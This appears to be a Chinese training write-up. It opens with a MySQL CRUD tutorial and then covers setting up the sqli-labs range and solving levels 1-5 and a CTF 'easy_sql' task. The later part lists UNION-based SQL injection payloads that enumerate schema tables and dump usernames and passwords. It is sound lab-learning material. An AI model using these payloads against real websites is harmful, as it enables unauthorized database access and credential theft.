寒假第一周培训
1.Mysql的增删改查
1.1什么是Mysql
MySQL 是一种开源的关系型数据库管理系统(RDBMS),它是由瑞典公司MySQL AB开发的,并由Oracle公司维护和支持。MySQL 是最流行的数据库管理系统之一,被广泛应用于各种应用程序和网站的数据存储和管理。
1.2Mysql的增删改查
在学习增删改查的基础指令之前,需要先创建一个数据库,并且在创建的数据库中新建一个空白的表
首先,在命令行终端中输入命令启动mysql
mysql -u root -p
接着使用create指令来创建一个新的数据库
create database pengyuyan;
创建完成后也可以使用show指令来查看我们刚才创建的数据库
show databases;
注意在mysql的命令的末尾需要加‘;’
接下来我们在数据库中创建一个表
我们在操作某个数据库之前需要使用use命令先进入该数据库
use pengyuyan;
创建表有通用的语法:
CREATE TABLE table_name (column_name column_type);
我们可以根据这个模板来创建一个具体的表:
CREATE TABLE IF NOT EXISTS student(
stuID INT UNSIGNED AUTO_INCREMENT,
stuNAME VARCHAR(100) NOT NULL,
stuCLASS VARCHAR(40) NOT NULL,
date DATE,
PRIMARY KEY ( stuID )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
该命令会创建一个名为student的表,具体的属性如下:
- stuID:INT UNSIGNED 类型,自增字段,用作学生的唯一标识。
- stuNAME:VARCHAR(100) 类型,不允许为空,用于存储学生的姓名。
- stuCLASS:VARCHAR(40) 类型,不允许为空,用于存储学生的班级。
- date:DATE 类型,用于存储日期。
- PRIMARY KEY:将 stuID 列指定为主键,确保每个学生具有唯一的标识。
- 此外,该表使用 InnoDB 引擎,并设置默认字符集为 utf8
接着我们就可以使用show命令来查看我们创建的表:
show tables;
也可以输入其他指令对表进行操作:
查看表的结构:DESCRIBE student;
查看表的内容:select * from student;
有了表之后我们就可以进行增删改查了
1.2.1增
增,即为插入数据(Create):
使用 INSERT INTO 语句将数据插入到表中,语法如下:
INSERT INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...);
- INSERT INTO:用于指定要插入数据的表名。
- table_name:替换为要插入数据的表名。
- (column1, column2, …):可选的列名列表,用于指定要插入数据的列。如果省略列名列表,则假定要将数据插入表中的所有列。
- VALUES:用于指定要插入的具体值。
- (value1, value2, …):替换为要插入的具体值,与列名列表中的列一一对应。
特别的,如果数据是字符型,必须使用单引号或者双引号,如:“value”
e.g.对刚才的表我们可以插入几条数据:
INSERT INTO student ( stuID, stuNAME,stuCLASS,date )
VALUES
(1,"周杰伦", "三年一班",CURDATE() );
执行的结果为:
1.2.2删
删,即为删除数据(Delete):
使用 DELETE FROM 语句从表中删除数据。可以指定删除条件,语法如下:
DELETE FROM table_name
WHERE condition;
- DELETE FROM:用于指定要从哪个表中删除数据。
- table_name:替换为要删除数据的表名。
- WHERE:可选的关键字,用于指定删除的条件。
- condition:替换为具体的删除条件,用于过滤要删除的数据。
e.g.将刚才表中的数据删除掉:
delete from student where stuNAME = "周杰伦";
执行的结果为:
1.2.3改
改,即为更新数据(Update):
使用 UPDATE 语句更新表中的数据。可以指定要更新的列和更新条件,语法如下:
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
- UPDATE:用于指定要更新数据的表名。
- table_name:替换为要更新数据的表名。
- SET:用于指定要更新的列和对应的新值。
- column1 = value1, column2 = value2, …:替换为要更新的列和新值,以逗号分隔。
- WHERE:可选的关键字,用于指定更新的条件。
- condition:替换为具体的更新条件,用于过滤要更新的数据。
e.g.将刚才的数据进行部分更改:
UPDATE student SET stuCLASS="六年一班"
WHERE stuNAME="周杰伦";
执行的结果为:
1.2.4查
查,即为查询数据(Retrieve):
使用 SELECT 语句从表中检索数据。可以指定要检索的列、条件和排序等,语法如下:
SELECT column1, column2, ...
FROM table_name
WHERE condition
GROUP BY column1, column2, ...
HAVING condition
ORDER BY column1, column2, ... ASC|DESC
LIMIT offset, count;
- SELECT:用于指定要查询的列。
- column1, column2, …:替换为要查询的具体列名,多个列名用逗号分隔。如果要查询所有列,可以使用 * 通配符。
- FROM:用于指定从哪个表中查询数据。
- table_name:替换为要查询数据的表名。
- WHERE:可选的关键字,用于指定查询的条件。
- condition:替换为具体的查询条件,用于过滤要查询的数据。
- GROUP BY:可选的关键字,用于指定分组的列。
- HAVING:可选的关键字,用于指定分组后的条件过滤。
- ORDER BY:可选的关键字,用于指定结果的排序方式。
- column1, column2, …:替换为要排序的列名。
- ASC|DESC:可选的关键字,用于指定升序(ASC)或降序(DESC)排序。
- LIMIT:可选的关键字,用于限制结果集的数量。
- offset:替换为结果集的偏移量,表示从第几行开始返回结果。
- count:替换为要返回的行数。
2.sql-labs的部署
首先在github中下载对应版本的靶场的压缩包
接下来在小皮中创建网站,并将刚才压缩包的文件解压到网站的根目录下
打开网站后选择Setup/reset Database for labs使其自动创建数据库
要注意的是如果显示连接不到数据库,我们就需要去“db-creds.inc”文件中检查数据库的用户名和密码是否正确
创建表并填充数据后的页面如下:
之后返回上一个页面,点开SQLI-LABS PAGE-1即可开始练习了
3.sql-labs1-5题wp
SQL注入基本流程:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解中SQL查询语句的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
sql注入基本语句:
order by 4 --+
判断有多少列
union select 1,2,3 --+
判断数据显示点
union select 1,user(),database() --+
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3 --+
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’ ),3 --+
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
查看账号密码信息
3.1less-1
首先输入?id=1判断是否存在sql注入
因为数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了
接下来我们判断sql语句是否是拼接,且是字符型还是数字型
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询
接下来使用order by 判断表格有几列
爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的
获取当前数据名和版本号
通过结果知道当前数据看是security,版本是5.7.26
爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来
爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容
3.2less-2
我们可以根据1-2判断出为数字型无闭合
其余步骤与第一题一致
3.3less-3
根据错误信息判断出闭合字符为’)
其余步骤与第一题一致
3.4less-4
根据错误信息判断出闭合字符为")
其余步骤与第一题一致
3.5less-5
4.easy_sql
拿到题目,查看源码,要求我们输入参数wllm
首先输入wllm=1,回显正常
输入wllm=1’,出现报错,可以判断为字符型漏洞
接下来使用order by 判断表格有几列, ?wllm=1’ order by 4–+报错,所以为3列
查看回显:
查数据库名:
查看test_db库的表
查字段:
出现flag字段,查看flag字段的内容: